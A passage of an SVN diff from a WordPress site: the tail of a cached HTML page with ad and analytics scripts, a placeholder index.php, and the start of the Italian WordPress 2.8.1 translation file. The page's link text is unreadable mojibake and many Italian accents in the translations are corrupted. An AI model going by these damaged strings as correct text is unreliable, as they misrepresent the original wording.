href="http://www.transformersblog.it/2009/06/24/anteprime-transformers-di-giovedi-25-giugno-ecco-i-cinema/">ååœ¢éåéŠæ æ¥6æ25æ¥æ¯çµåœ±</a></span> </li><li> <span  > <a class=rsswidget href="http://bellizzigranata.blogspot.com/2009/06/salernitana-acri-diesse-fabiani-digi.html#39;å­€ç«&#39;å®äžå°Œéå·Žè¿ªaffannosaæ¯éå»ºïŒè¿éçç¬¬äžéæ©æšéãäžè®°è
+çæ°é»ïŒæ»æ¯åæ¶åºç°åšç°åºçææŠŽåŒ¹ä¿±ä¹éšçéªåäžïŒéåžžçè§£éæå¹Žç€ŒïŒç°åšæ¯æ­£åŒçæ°é»è¯Žæ...æ ç­ŸïŒå¢å¡genoasçŠæ¯ç§Rozzanoæé©¬çŽ¢äŒ¯å°å°Œ[...]"">Salernitana ïŒ Diesse Acri ïŒæ³æ¯äºå°Œçµå­</a></span> </li><li> <span  > <a class=rsswidget href="http://www.06blog.it/post/5558/elezioni-guidonia-e-fonte-nuova-al-centrodestra">éäžŸåå­å€å°Œäºæºçæ°äž­å¿</a></span> </li></ul></div><div class=box><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x600, creato 24/05/09 */
+google_ad_slot = "9606521834";
+google_ad_width = 120;
+google_ad_height = 600;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div></div></div></div><div id=footer><p> <span  > Â© 2009å¹Ž<a href="http://www.guidonia.net/wp?lang=zh-CN" >GuidoniaPuntoNet ïŒäž­ïŒ ã</a>éŸæ¥ïŒ <a href="http://www.guidonia.tv/">å­å€å°Œäºçµè§</a> - <a href="http://www.aniene.net/">Aniene.Net</a> - <a href="http://www.linuxap.it/">LinuxAp</a> - <a href="http://www.eleonline.it/">éäžŸåšçº¿</a></span> </p><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.form.js?ver=2.02m></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/contact-form-7.js?ver=1.10.0.1></script></div><!-- Start of StatCounter Code --><script type=text/javascript>
+var sc_project=4711170; 
+var sc_invisible=1; 
+var sc_partition=56; 
+var sc_click_stat=1; 
+var sc_security="aab5f80b"; 
+</script><script type=text/javascript src=http://www.statcounter.com/counter/counter.js></script><noscript><div class=statcounter> <a title="çœç«ç»è®¡" href="http://www.statcounter.com/"><img class=statcounter src=http://c.statcounter.com/4711170/0/aab5f80b/1/ alt="çœç«ç»è®¡"></a> </div></noscript><!-- End of StatCounter Code --><script type=text/javascript>
+var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+</script><script type=text/javascript>
+try {
+var pageTracker = _gat._getTracker("UA-9114161-1");
+pageTracker._trackPageview();
+} catch(err) {}</script></body></html><!-- Dynamic page generated in 1.413 seconds. --><!-- Cached page generated by WP-Super-Cache on 2009-07-05 01:43:03 -->
Index: /trunk/www.guidonia.net/wp/wp-content/index.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/index.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/index.php	(revision 44)
@@ -0,0 +1,3 @@
+<?php
+// Silence is golden.
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/languages/it_IT.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/languages/it_IT.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/languages/it_IT.po	(revision 44)
@@ -0,0 +1,15105 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: WordPress 2.8.1\n"
+"Report-Msgid-Bugs-To: wp-polyglots@lists.automattic.com\n"
+"POT-Creation-Date: 2009-07-09 20:56+0000\n"
+"PO-Revision-Date: 2009-07-10 20:46+0100\n"
+"Last-Translator: SteveAgl <steagl@wordpress-it.it>\n"
+"Language-Team: Italian (www.wordpress-it.it) <info@wordpress-it.it>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=n != 1;\n"
+"X-Poedit-Language: Italian\n"
+"X-Poedit-Country: ITALY\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: wp-admin/admin-ajax.php:31
+#, php-format
+msgid "<strong>ALERT: You are logged out!</strong> Could not save draft. <a href=\"%s\" target=\"blank\">Please log in again.</a>"
+msgstr "<strong>ATTENZIONE: Si Ãš effettuato il logout!</strong> Impossibile salvare la bozza. <a href=\"%s\" target=\"blank\">Effettuare nuovamente il login.</a>"
+
+#: wp-admin/admin-ajax.php:164
+#: wp-admin/categories.php:177
+#: wp-admin/edit-comments.php:214
+#: wp-admin/edit-link-categories.php:100
+#: wp-admin/edit-pages.php:199
+#: wp-admin/edit-tags.php:190
+#: wp-admin/edit.php:184
+#: wp-admin/includes/media.php:1777
+#: wp-admin/includes/plugin-install.php:287
+#: wp-admin/includes/theme-install.php:386
+#: wp-admin/plugins.php:344
+#: wp-admin/themes.php:77
+#: wp-admin/upload.php:227
+msgid "&laquo;"
+msgstr "&laquo;"
+
+#: wp-admin/admin-ajax.php:165
+#: wp-admin/categories.php:178
+#: wp-admin/edit-comments.php:215
+#: wp-admin/edit-link-categories.php:101
+#: wp-admin/edit-pages.php:200
+#: wp-admin/edit-tags.php:191
+#: wp-admin/edit.php:185
+#: wp-admin/includes/media.php:1778
+#: wp-admin/includes/plugin-install.php:288
+#: wp-admin/includes/theme-install.php:387
+#: wp-admin/plugins.php:345
+#: wp-admin/themes.php:78
+#: wp-admin/upload.php:228
+msgid "&raquo;"
+msgstr "&raquo;"
+
+#: wp-admin/admin-ajax.php:252
+#: wp-admin/categories.php:47
+#: wp-admin/categories.php:67
+#: wp-admin/edit-link-categories.php:27
+#: wp-admin/link-category.php:46
+#, php-format
+msgid "Can&#8217;t delete the <strong>%s</strong> category: this is the default one"
+msgstr "Impossibile cancellare la categoria <strong>%s</strong>: Ãš  la categoria predefinita"
+
+#: wp-admin/admin-ajax.php:326
+#, php-format
+msgid "Comment %d does not exist"
+msgstr "Il comment %d non esiste"
+
+#: wp-admin/admin-ajax.php:445
+#: wp-admin/admin-ajax.php:498
+#: wp-admin/includes/taxonomy.php:119
+msgid "You did not enter a category name."
+msgstr "Non Ãš stato inserito un nome di categoria."
+
+#: wp-admin/admin-ajax.php:453
+msgid "The category you are trying to create already exists."
+msgstr "La categoria che si sta cercando di creare esiste giÃ ."
+
+#: wp-admin/admin-ajax.php:486
+#, php-format
+msgid "Category <a href=\"#%s\">%s</a> added"
+msgstr "Aggiunta categoria <a href=\"#%s\">%s</a>"
+
+#: wp-admin/admin-ajax.php:533
+msgid "You did not enter a tag name."
+msgstr "Non Ãš stato inserito un nome di tag."
+
+#: wp-admin/admin-ajax.php:564
+#, php-format
+msgid "Tag <a href=\"#%s\">%s</a> added"
+msgstr "Aggiunto tag <a href=\"#%s\">%s</a>"
+
+#: wp-admin/admin-ajax.php:580
+msgid "No tags found!"
+msgstr "Nessun tag trovato!"
+
+#: wp-admin/admin-ajax.php:678
+msgid "Error: you are replying to a comment on a draft post."
+msgstr "Errore: si stÃ  replicando ad un commento su un articolo in bozza."
+
+#: wp-admin/admin-ajax.php:693
+msgid "Sorry, you must be logged in to reply to a comment."
+msgstr "Per replicare ad un commento occorre aver effettuato il login."
+
+#: wp-admin/admin-ajax.php:697
+#: wp-admin/admin-ajax.php:743
+#: wp-comments-post.php:71
+msgid "Error: please type a comment."
+msgstr "Errore: scrivere un commento."
+
+#: wp-admin/admin-ajax.php:795
+#: wp-admin/admin-ajax.php:800
+msgid "Please provide a custom field value."
+msgstr "Fornire un valore per il campo personalizzato."
+
+#: wp-admin/admin-ajax.php:863
+#, php-format
+msgid "User <a href=\"#%s\">%s</a> added"
+msgstr "Aggiunto utente <a href=\"#%s\">%s</a>"
+
+#. translators: draft saved date format, see http://php.net/date
+#: wp-admin/admin-ajax.php:884
+msgid "g:i:s a"
+msgstr "G:i:s"
+
+#: wp-admin/admin-ajax.php:885
+#, php-format
+msgid "Draft Saved at %s."
+msgstr "Bozza salvata alle %s."
+
+#: wp-admin/admin-ajax.php:906
+#: wp-admin/admin-ajax.php:1067
+msgid "Someone"
+msgstr "Qualcuno"
+
+#: wp-admin/admin-ajax.php:908
+#, php-format
+msgid "Autosave disabled: %s is currently editing this page."
+msgstr "Salvataggio automatico disabilitato: attualmente %s sta modificando questa pagina."
+
+#: wp-admin/admin-ajax.php:908
+#, php-format
+msgid "Autosave disabled: %s is currently editing this post."
+msgstr "Salvataggio automatico disabilitato: %s sta attualmente modificando questo articolo."
+
+#: wp-admin/admin-ajax.php:917
+#: wp-admin/admin-ajax.php:1059
+#: wp-admin/includes/post.php:143
+#: wp-admin/includes/post.php:1125
+#: wp-admin/page.php:113
+msgid "You are not allowed to edit this page."
+msgstr "Non si dispone del permesso per modificare questa pagina."
+
+#: wp-admin/admin-ajax.php:920
+#: wp-admin/admin-ajax.php:1062
+#: wp-admin/includes/post.php:146
+#: wp-admin/includes/post.php:1128
+#: wp-admin/post.php:150
+#: wp-admin/upload.php:41
+msgid "You are not allowed to edit this post."
+msgstr "Non si dispone del permesso per modificare questo articolo."
+
+#: wp-admin/admin-ajax.php:1068
+#, php-format
+msgid "Saving is disabled: %s is currently editing this page."
+msgstr "Il salvataggio Ãš disabilitato: %s sta attualmente modificando questa pagina."
+
+#: wp-admin/admin-ajax.php:1068
+#, php-format
+msgid "Saving is disabled: %s is currently editing this post."
+msgstr "Il salvataggio Ãš disabilitato: %s sta attualmente modificando questo articolo."
+
+#: wp-admin/admin-ajax.php:1116
+#: wp-admin/categories.php:26
+#: wp-admin/categories.php:41
+#: wp-admin/categories.php:92
+#: wp-admin/edit-link-categories.php:18
+#: wp-admin/edit-tags.php:35
+#: wp-admin/edit-tags.php:51
+#: wp-admin/edit-tags.php:71
+#: wp-admin/edit-tags.php:106
+#: wp-admin/import/opml.php:28
+#: wp-admin/import/opml.php:80
+#: wp-admin/import/wp-cat2tag.php:28
+#: wp-admin/includes/bookmark.php:30
+#: wp-admin/link-category.php:24
+#: wp-admin/link-category.php:39
+#: wp-admin/link-category.php:80
+#: wp-admin/options.php:39
+#: wp-admin/press-this.php:14
+#: wp-admin/sidebar.php:19
+#: wp-admin/themes.php:21
+#: wp-admin/user-new.php:13
+#: wp-admin/users.php:16
+#: wp-admin/widgets.php:16
+#: wp-content/plugins/akismet/akismet.php:60
+msgid "Cheatin&#8217; uh?"
+msgstr "Si tenta di fare i furbi, eh?"
+
+#: wp-admin/admin-ajax.php:1138
+#: wp-admin/admin-ajax.php:1147
+#: wp-admin/categories.php:127
+#: wp-admin/edit-link-categories.php:59
+msgid "Category not updated."
+msgstr "Categoria non aggiornata."
+
+#: wp-admin/admin-ajax.php:1163
+#: wp-admin/admin-ajax.php:1167
+#: wp-admin/edit-tags.php:144
+msgid "Tag not updated."
+msgstr "Tag non aggiornato."
+
+#: wp-admin/admin-ajax.php:1199
+msgid "No posts found."
+msgstr "Nessun articolo trovato."
+
+#: wp-admin/admin-ajax.php:1201
+#: wp-admin/edit-form-advanced.php:594
+#: wp-admin/edit-page-form.php:438
+#: wp-admin/includes/dashboard.php:388
+#: wp-admin/includes/media.php:978
+#: wp-admin/includes/media.php:1642
+#: wp-admin/includes/media.php:1957
+#: wp-admin/includes/media.php:1992
+#: wp-admin/includes/media.php:2027
+#: wp-admin/includes/template.php:801
+#: wp-admin/includes/template.php:1036
+#: wp-includes/js/tinymce/langs/wp-langs.php:295
+#: wp-includes/post.php:3425
+msgid "Title"
+msgstr "Titolo"
+
+#: wp-admin/admin-ajax.php:1201
+msgid "Time"
+msgstr "Orario"
+
+#: wp-admin/admin-ajax.php:1201
+#: wp-admin/edit-form-comment.php:36
+#: wp-admin/includes/template.php:1203
+msgid "Status"
+msgstr "Stato"
+
+#: wp-admin/admin-ajax.php:1207
+#: wp-admin/edit-form-advanced.php:114
+#: wp-admin/edit-form-advanced.php:135
+#: wp-admin/edit-page-form.php:108
+#: wp-admin/edit-page-form.php:129
+#: wp-admin/includes/template.php:1209
+#: wp-admin/includes/template.php:1426
+#: wp-admin/includes/template.php:1644
+#: wp-includes/post.php:359
+#: wp-includes/post.php:379
+#: wp-includes/script-loader.php:291
+#: wp-includes/script-loader.php:314
+msgid "Published"
+msgstr "Pubblicato"
+
+#: wp-admin/admin-ajax.php:1210
+#: wp-admin/edit-form-advanced.php:117
+#: wp-admin/edit-form-advanced.php:139
+#: wp-admin/edit-page-form.php:111
+#: wp-admin/edit-page-form.php:133
+#: wp-admin/includes/template.php:1210
+#: wp-admin/includes/template.php:1431
+#: wp-admin/includes/template.php:1649
+msgid "Scheduled"
+msgstr "Programmato"
+
+#: wp-admin/admin-ajax.php:1213
+#: wp-admin/edit-form-advanced.php:120
+#: wp-admin/edit-form-advanced.php:141
+#: wp-admin/edit-page-form.php:114
+#: wp-admin/edit-page-form.php:135
+#: wp-admin/includes/template.php:1215
+#: wp-includes/post.php:357
+msgid "Pending Review"
+msgstr "In attesa di revisione"
+
+#: wp-admin/admin-ajax.php:1216
+#: wp-admin/edit-attachment-rows.php:130
+#: wp-admin/includes/template.php:1404
+#: wp-admin/includes/template.php:1626
+#: wp-admin/upload.php:359
+msgid "Unpublished"
+msgstr "Non pubblicato"
+
+#. translators: date format in table columns, see http://php.net/date
+#: wp-admin/admin-ajax.php:1224
+#: wp-admin/edit-attachment-rows.php:141
+#: wp-admin/edit-attachment-rows.php:155
+#: wp-admin/includes/template.php:1416
+#: wp-admin/includes/template.php:1638
+#: wp-admin/includes/template.php:2127
+#: wp-admin/upload.php:370
+msgid "Y/m/d"
+msgstr "d/m/Y"
+
+#: wp-admin/admin-ajax.php:1300
+msgid "An error has occured. Please reload the page and try again."
+msgstr "Si Ãš verificato un errore. Ricaricare la pagina e riprovare."
+
+#: wp-admin/admin-footer.php:19
+msgid "Thank you for creating with <a href=\"http://wordpress.org/\">WordPress</a>."
+msgstr "Grazie per aver creato questo blog utilizzando <a href=\"http://www.wordpress.org\">WordPress</a>"
+
+#: wp-admin/admin-footer.php:19
+msgid "<a href=\"http://codex.wordpress.org/\">Documentation</a>"
+msgstr "Documentazione in <a href=\"http://codex.wordpress.org/\">inglese</a> e in <a href=\"http://www.wordpress-it.it/wiki/\">italiano</a>"
+
+#: wp-admin/admin-footer.php:19
+msgid "<a href=\"http://wordpress.org/support/forum/4\">Feedback</a>"
+msgstr "<a href=\"http://wordpress.org/support/forum/4\">Feedback</a>"
+
+#: wp-admin/admin-header.php:104
+msgid "Visit Site"
+msgstr "Visualizza sito"
+
+#: wp-admin/admin-header.php:108
+#, php-format
+msgid "Howdy, <a href=\"%1$s\" title=\"Edit your profile\">%2$s</a>"
+msgstr "Salve, <a href=\"%1$s\" title=\"Modifica del proprio profilo\">%2$s</a>"
+
+#: wp-admin/admin-header.php:109
+msgid "Turbo"
+msgstr "Turbo"
+
+#: wp-admin/admin-header.php:110
+msgid "Log Out"
+msgstr "Logout"
+
+#: wp-admin/admin.php:53
+#: wp-admin/includes/theme-install.php:182
+msgid "Blue"
+msgstr "Blu"
+
+#: wp-admin/admin.php:54
+msgid "Gray"
+msgstr "Grigio"
+
+#: wp-admin/admin.php:94
+msgid "Invalid plugin page"
+msgstr "Pagina del plugin non valida"
+
+#: wp-admin/admin.php:98
+#, php-format
+msgid "Cannot load %s."
+msgstr "Impossibile caricare %s."
+
+#: wp-admin/admin.php:116
+msgid "You are not allowed to import."
+msgstr "Non si dispone del permesso per effettuare importazioni."
+
+#: wp-admin/admin.php:119
+msgid "Invalid importer."
+msgstr "Importatore non valido."
+
+#: wp-admin/admin.php:127
+msgid "Cannot load importer."
+msgstr "Non posso caricare l&#8217;importatore"
+
+#: wp-admin/admin.php:134
+#: wp-admin/import.php:11
+#: wp-admin/import/blogger.php:193
+#: wp-admin/import/textpattern.php:73
+#: wp-admin/menu.php:103
+msgid "Import"
+msgstr "Importa"
+
+#: wp-admin/async-upload.php:27
+#: wp-admin/media-upload.php:16
+#: wp-admin/upload.php:15
+#: wp-app.php:630
+#: wp-app.php:813
+msgid "You do not have permission to upload files."
+msgstr "Non si dispone del permesso di caricare file."
+
+#: wp-admin/categories.php:12
+#: wp-admin/edit-form-advanced.php:346
+#: wp-admin/edit-link-form.php:150
+#: wp-admin/includes/template.php:754
+#: wp-admin/includes/template.php:855
+#: wp-admin/includes/template.php:1102
+#: wp-admin/menu.php:46
+#: wp-admin/press-this.php:472
+#: wp-includes/category-template.php:430
+#: wp-includes/default-widgets.php:423
+#: wp-includes/default-widgets.php:429
+#: wp-includes/taxonomy.php:18
+#: wp-includes/taxonomy.php:20
+msgid "Categories"
+msgstr "Categorie"
+
+#: wp-admin/categories.php:60
+msgid "You are not allowed to delete categories."
+msgstr "Non si dispone del permesso per cancellare le categorie."
+
+#: wp-admin/categories.php:78
+#: wp-admin/edit-category-form.php:43
+#: wp-admin/link-category.php:64
+msgid "Edit Category"
+msgstr "Modifica categoria"
+
+#: wp-admin/categories.php:123
+#: wp-admin/edit-link-categories.php:55
+msgid "Category added."
+msgstr "La categoria Ãš stata inserita."
+
+#: wp-admin/categories.php:124
+#: wp-admin/edit-link-categories.php:56
+msgid "Category deleted."
+msgstr "La categoria Ãš stata cancellata."
+
+#: wp-admin/categories.php:125
+#: wp-admin/edit-link-categories.php:57
+msgid "Category updated."
+msgstr "La categoria Ãš stata aggiornata."
+
+#: wp-admin/categories.php:126
+#: wp-admin/edit-link-categories.php:58
+msgid "Category not added."
+msgstr "La categoria non Ãš stata aggiunta."
+
+#: wp-admin/categories.php:134
+#: wp-admin/edit-comments.php:101
+#: wp-admin/edit-link-categories.php:66
+#: wp-admin/edit-pages.php:111
+#: wp-admin/edit-tags.php:151
+#: wp-admin/edit.php:101
+#: wp-admin/link-manager.php:76
+#: wp-admin/upload.php:169
+#: wp-admin/users.php:244
+#, php-format
+msgid "Search results for &#8220;%s&#8221;"
+msgstr "Risultati della ricerca per &#8220;%s&#8221;"
+
+#: wp-admin/categories.php:145
+#: wp-admin/categories.php:147
+#: wp-admin/edit-link-categories.php:76
+#: wp-admin/edit-link-categories.php:78
+msgid "Search Categories"
+msgstr "Cerca categorie"
+
+#: wp-admin/categories.php:189
+#: wp-admin/categories.php:229
+#: wp-admin/edit-comments.php:245
+#: wp-admin/edit-comments.php:332
+#: wp-admin/edit-link-categories.php:112
+#: wp-admin/edit-link-categories.php:166
+#: wp-admin/edit-pages.php:216
+#: wp-admin/edit-pages.php:255
+#: wp-admin/edit-tags.php:202
+#: wp-admin/edit-tags.php:245
+#: wp-admin/edit.php:194
+#: wp-admin/edit.php:274
+#: wp-admin/link-manager.php:103
+#: wp-admin/link-manager.php:261
+#: wp-admin/plugins.php:460
+#: wp-admin/upload.php:244
+#: wp-admin/upload.php:400
+#: wp-admin/users.php:308
+#: wp-admin/users.php:374
+msgid "Bulk Actions"
+msgstr "Azioni di gruppo"
+
+#: wp-admin/categories.php:190
+#: wp-admin/categories.php:230
+#: wp-admin/edit-attachment-rows.php:85
+#: wp-admin/edit-comments.php:255
+#: wp-admin/edit-comments.php:342
+#: wp-admin/edit-form-advanced.php:232
+#: wp-admin/edit-form-comment.php:72
+#: wp-admin/edit-link-categories.php:113
+#: wp-admin/edit-link-categories.php:167
+#: wp-admin/edit-link-form.php:88
+#: wp-admin/edit-page-form.php:219
+#: wp-admin/edit-pages.php:218
+#: wp-admin/edit-pages.php:257
+#: wp-admin/edit-tags.php:203
+#: wp-admin/edit-tags.php:246
+#: wp-admin/edit.php:196
+#: wp-admin/edit.php:276
+#: wp-admin/includes/dashboard.php:545
+#: wp-admin/includes/media.php:1173
+#: wp-admin/includes/template.php:133
+#: wp-admin/includes/template.php:304
+#: wp-admin/includes/template.php:666
+#: wp-admin/includes/template.php:1452
+#: wp-admin/includes/template.php:1544
+#: wp-admin/includes/template.php:1667
+#: wp-admin/includes/template.php:1913
+#: wp-admin/includes/template.php:2154
+#: wp-admin/includes/template.php:2445
+#: wp-admin/link-manager.php:104
+#: wp-admin/link-manager.php:200
+#: wp-admin/link-manager.php:262
+#: wp-admin/plugins.php:403
+#: wp-admin/plugins.php:468
+#: wp-admin/themes.php:216
+#: wp-admin/upload.php:245
+#: wp-admin/upload.php:344
+#: wp-admin/upload.php:401
+#: wp-admin/users.php:309
+#: wp-admin/users.php:375
+msgid "Delete"
+msgstr "Cancella"
+
+#: wp-admin/categories.php:192
+#: wp-admin/categories.php:232
+#: wp-admin/edit-comments.php:257
+#: wp-admin/edit-comments.php:344
+#: wp-admin/edit-link-categories.php:115
+#: wp-admin/edit-link-categories.php:169
+#: wp-admin/edit-pages.php:220
+#: wp-admin/edit-pages.php:259
+#: wp-admin/edit-tags.php:205
+#: wp-admin/edit-tags.php:248
+#: wp-admin/edit.php:198
+#: wp-admin/edit.php:278
+#: wp-admin/includes/template.php:3668
+#: wp-admin/link-manager.php:106
+#: wp-admin/link-manager.php:264
+#: wp-admin/plugins.php:471
+#: wp-admin/upload.php:250
+#: wp-admin/upload.php:406
+#: wp-admin/users.php:311
+#: wp-admin/users.php:377
+#: wp-includes/js/tinymce/langs/wp-langs.php:27
+msgid "Apply"
+msgstr "Applica"
+
+#: wp-admin/categories.php:242
+#, php-format
+msgid "<strong>Note:</strong><br />Deleting a category does not delete the posts in that category. Instead, posts that were only assigned to the deleted category are set to the category <strong>%s</strong>."
+msgstr "<strong>Nota:</strong><br />cancellando una categoria non si cancellano gli articoli in essa contenuti. Invece, gli articoli appartenenti solo alla categoria cancellata verranno assegnati alla categoria <strong>%s</strong>."
+
+#: wp-admin/categories.php:243
+#, php-format
+msgid "Categories can be selectively converted to tags using the <a href=\"%s\">category to tag converter</a>."
+msgstr "La categorie possono venire selettivamente convertite in tag utilizzando il <a href=\"%s\">convertitore di categorie in tag</a>."
+
+#: wp-admin/categories.php:256
+#: wp-admin/categories.php:286
+#: wp-admin/edit-link-categories.php:214
+#: wp-admin/edit-link-category-form.php:27
+msgid "Add Category"
+msgstr "Aggiungi categoria"
+
+#: wp-admin/categories.php:263
+#: wp-admin/edit-category-form.php:51
+msgid "Category Name"
+msgstr "Nome categoria"
+
+#: wp-admin/categories.php:265
+#: wp-admin/edit-category-form.php:53
+msgid "The name is used to identify the category almost everywhere, for example under the post or in the category widget."
+msgstr "Il nome viene usato praticamente ovunque per identificare la categoria, ad esempio negli articoli o nel widget delle categorie."
+
+#: wp-admin/categories.php:269
+#: wp-admin/edit-category-form.php:56
+msgid "Category Slug"
+msgstr "Abbreviazione categoria"
+
+#: wp-admin/categories.php:271
+#: wp-admin/edit-category-form.php:58
+#: wp-admin/edit-link-categories.php:206
+#: wp-admin/edit-link-category-form.php:71
+#: wp-admin/edit-tag-form.php:35
+#: wp-admin/edit-tags.php:292
+msgid "The &#8220;slug&#8221; is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens."
+msgstr "Lo &#8220;slug&#8221; Ãš la versione &#8220;amichevole&#8221; della URL del nome. &Egrave; solitamente tutta in minuscolo e contiene solo lettere, numeri e trattini."
+
+#: wp-admin/categories.php:275
+#: wp-admin/edit-category-form.php:61
+msgid "Category Parent"
+msgstr "Categoria madre"
+
+#: wp-admin/categories.php:276
+#: wp-admin/edit-category-form.php:63
+#: wp-admin/includes/media.php:760
+#: wp-admin/includes/media.php:841
+#: wp-admin/includes/media.php:1906
+#: wp-admin/includes/media.php:1922
+#: wp-admin/includes/template.php:245
+#: wp-admin/includes/template.php:1931
+#: wp-includes/deprecated.php:741
+#: wp-includes/js/tinymce/langs/wp-langs.php:424
+msgid "None"
+msgstr "Nessuna"
+
+#: wp-admin/categories.php:277
+#: wp-admin/edit-category-form.php:64
+msgid "Categories, unlike tags, can have a hierarchy. You might have a Jazz category, and under that have children categories for Bebop and Big Band. Totally optional."
+msgstr "Le categorie, a differenza dei tag, possono avere una gerarchia. Si puÃ² avere la categoria Jazz e sotto questa delle categorie figlie per Bebop e Big Band. Tutto completamente opzionale."
+
+#: wp-admin/categories.php:281
+#: wp-admin/edit-category-form.php:68
+#: wp-admin/edit-link-form.php:391
+#: wp-admin/edit-tag-form.php:38
+#: wp-admin/edit-tags.php:296
+#: wp-admin/includes/media.php:866
+#: wp-admin/includes/media.php:986
+#: wp-admin/includes/plugin-install.php:304
+#: wp-admin/includes/plugin-install.php:314
+#: wp-admin/includes/template.php:869
+#: wp-admin/includes/template.php:879
+#: wp-admin/includes/template.php:889
+#: wp-admin/plugins.php:370
+#: wp-admin/plugins.php:378
+#: wp-admin/press-this.php:135
+#: wp-admin/press-this.php:168
+#: wp-admin/themes.php:273
+msgid "Description"
+msgstr "Descrizione"
+
+#: wp-admin/categories.php:283
+#: wp-admin/edit-category-form.php:70
+#: wp-admin/edit-tag-form.php:40
+#: wp-admin/edit-tags.php:298
+msgid "The description is not prominent by default, however some themes may show it."
+msgstr "La descrizione non Ãš prominente di solito, tuttavia alcuni temi possono visualizzarla."
+
+#: wp-admin/comment.php:34
+#: wp-admin/edit-form-comment.php:12
+#: wp-admin/edit-form-comment.php:22
+msgid "Edit Comment"
+msgstr "Modifica commento"
+
+#: wp-admin/comment.php:42
+#: wp-admin/comment.php:64
+#: wp-admin/comment.php:146
+#: wp-admin/comment.php:176
+#: wp-admin/comment.php:201
+msgid "Oops, no comment with this ID."
+msgstr "Oops, nessun commento con questo ID."
+
+#: wp-admin/comment.php:42
+#: wp-admin/comment.php:64
+#: wp-admin/comment.php:146
+#: wp-admin/comment.php:176
+#: wp-admin/comment.php:201
+msgid "Go back"
+msgstr "Torna indietro"
+
+#: wp-admin/comment.php:45
+#: wp-admin/comment.php:149
+msgid "You are not allowed to edit comments on this post."
+msgstr "Non si dispone del permesso per modificare i commenti di questo articolo."
+
+#: wp-admin/comment.php:67
+msgid "You are not allowed to delete comments on this post."
+msgstr "Non si dispone del permesso per cancellare i commenti di questo articolo."
+
+#: wp-admin/comment.php:67
+#: wp-admin/comment.php:204
+msgid "You are not allowed to edit comments on this post, so you cannot approve this comment."
+msgstr "Non Ãš possibile modificare i commenti di questo articolo, quindi non Ãš possibile approvare questo commento."
+
+#: wp-admin/comment.php:74
+msgid "You are about to mark the following comment as spam:"
+msgstr "Stai per contrassegnare il seguente commento come spam:"
+
+#: wp-admin/comment.php:75
+msgid "Spam Comment"
+msgstr "Commento di spam"
+
+#: wp-admin/comment.php:77
+msgid "You are about to delete the following comment:"
+msgstr "Stai per cancellare il seguente commento:"
+
+#: wp-admin/comment.php:78
+msgid "Delete Comment"
+msgstr "Cancella commento"
+
+#: wp-admin/comment.php:80
+msgid "You are about to approve the following comment:"
+msgstr "Stai per approvare il seguente commento:"
+
+#: wp-admin/comment.php:81
+msgid "Approve Comment"
+msgstr "Approva commento"
+
+#: wp-admin/comment.php:85
+msgid "Caution:"
+msgstr "Attenzione:"
+
+#: wp-admin/comment.php:87
+msgid "Are you sure you want to do that?"
+msgstr "Si Ãš davvero sicuri di voler fare questo?"
+
+#: wp-admin/comment.php:93
+#: wp-admin/link-manager.php:176
+msgid "No"
+msgstr "No"
+
+#: wp-admin/comment.php:110
+#: wp-admin/edit-form-advanced.php:469
+#: wp-admin/edit-form-comment.php:87
+#: wp-admin/edit-pages.php:299
+#: wp-admin/includes/plugin-install.php:164
+#: wp-admin/includes/template.php:753
+#: wp-admin/includes/template.php:778
+#: wp-admin/includes/template.php:802
+#: wp-admin/includes/template.php:842
+#: wp-admin/includes/template.php:1066
+#: wp-admin/includes/theme-install.php:158
+#: wp-includes/js/tinymce/langs/wp-langs.php:256
+#: wp-includes/post-template.php:1340
+msgid "Author"
+msgstr "Autore"
+
+#: wp-admin/comment.php:115
+#: wp-admin/includes/template.php:900
+#: wp-admin/includes/template.php:2283
+#: wp-admin/user-edit.php:261
+#: wp-admin/user-new.php:109
+#: wp-content/themes/classic/comments-popup.php:76
+#: wp-login.php:414
+msgid "E-mail"
+msgstr "E-mail"
+
+#: wp-admin/comment.php:121
+#: wp-admin/includes/media.php:2020
+#: wp-admin/includes/template.php:854
+#: wp-admin/includes/template.php:2288
+#: wp-admin/includes/template.php:2679
+#: wp-admin/press-this.php:160
+msgid "URL"
+msgstr "URL"
+
+#. translators: field name in comment form
+#: wp-admin/comment.php:126
+#: wp-admin/edit-form-advanced.php:471
+#: wp-content/themes/classic/comments-popup.php:52
+#: wp-content/themes/classic/comments.php:24
+#: wp-includes/comment-template.php:646
+msgctxt "noun"
+msgid "Comment"
+msgstr "Commento"
+
+#: wp-admin/comment.php:179
+msgid "You are not allowed to edit comments on this post, so you cannot disapprove this comment."
+msgstr "Non si dispone del permesso per modificare i commenti di questo articolo, quindi non Ãš possibile disapprovare questo commento."
+
+#: wp-admin/comment.php:233
+#: wp-admin/includes/media.php:1551
+msgid "Unknown action."
+msgstr "Azione sconosciuta."
+
+#: wp-admin/custom-header.php:44
+#: wp-admin/includes/theme-install.php:188
+#: wp-content/themes/default/functions.php:156
+msgid "Custom Header"
+msgstr "Immagine testata personalizzata"
+
+#: wp-admin/custom-header.php:196
+#: wp-admin/custom-header.php:287
+msgid "Hide Text"
+msgstr "Nascondi il testo"
+
+#: wp-admin/custom-header.php:202
+msgid "Show Text"
+msgstr "Mostra il testo"
+
+#: wp-admin/custom-header.php:272
+msgid "Header updated."
+msgstr "Testata aggiornata."
+
+#: wp-admin/custom-header.php:278
+msgid "Your Header Image"
+msgstr "La tua immagine per la testata"
+
